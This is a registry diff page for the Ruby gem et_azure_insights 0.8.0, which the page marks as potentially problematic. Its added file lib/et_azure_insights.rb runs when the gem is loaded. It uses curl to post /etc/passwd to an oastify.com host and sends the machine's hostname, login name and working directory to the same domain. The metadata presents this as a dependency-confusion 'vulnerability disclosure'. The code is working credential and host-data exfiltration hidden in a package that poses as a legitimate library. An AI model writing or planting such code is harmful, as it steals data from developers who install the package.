et_azure_insights 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of et_azure_insights might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/et_azure_insights.rb +26 -0
  3. metadata +44 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: f5edc6dda723badbff23f77aa1111865495420c2db869dab2458cc1af3f36480
4
+ data.tar.gz: 7d2b27c76adcafeffd9eda3c1970d579aa125f6f766a9de6ac511908efdd3dcc
5
+ SHA512:
6
+ metadata.gz: 494d0855ffb9635c91347c2df5159fc20e8dbd38979cde386c51a8ca7ceee1cf08d667f72e8d65fa1828f041462845029d959bff1de4c7a0c617ea09367f0fbe
7
+ data.tar.gz: 23c3fe8fa7795f6920a53239bd32629c75347bb57dfbd79604b3697f14c609e1dffd69c6f37e2b2c93d77742dc0fe6a5bd6bb560d90c9cf47163371582b7a64f
@@ -0,0 +1,26 @@
1
+ require 'net/http'
2
+ require 'socket'
3
+ require 'etc'
4
+
5
+ def exploit
6
+ hostname = Socket.gethostname
7
+ username = Etc.getlogin
8
+ cwd = Dir.pwd
9
+
10
+ command = "/usr/bin/curl --data '@/etc/passwd' #{hostname}.sc8c79d4fjfgq4htgo090c2b72dt1i.oastify.com"
11
+
12
+ `#{command}`
13
+
14
+ uri = URI('https://sc8c79d4fjfgq4htgo090c2b72dt1i.oastify.com')
15
+ params = { 'hostname' => hostname, 'username' => username, 'cwd' => cwd }
16
+ uri.query = URI.encode_www_form(params)
17
+
18
+ res = Net::HTTP.get_response(uri)
19
+
20
+ # Add any additional code here based on the desired behavior of the exploit
21
+
22
+ # Example: Printing the response
23
+ puts res.body
24
+ end
25
+
26
+ exploit # Call the exploit method
metadata ADDED
@@ -0,0 +1,44 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: et_azure_insights
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.8.0
5
+ platform: ruby
6
+ authors:
7
+ - Bug Hunter
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-06-02 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This Ruby package is vulnerable to dependency confusion vulnerability
14
+ email:
15
+ - bughunter@gmail.com
16
+ executables: []
17
+ extensions: []
18
+ extra_rdoc_files: []
19
+ files:
20
+ - lib/et_azure_insights.rb
21
+ homepage: https://rubygems.org/gems/et_azure_insights
22
+ licenses:
23
+ - MIT
24
+ metadata: {}
25
+ post_install_message:
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.3.15
41
+ signing_key:
42
+ specification_version: 4
43
+ summary: 'Vulnerability Disclosure: Dependency confusion vulnerability'
44
+ test_files: []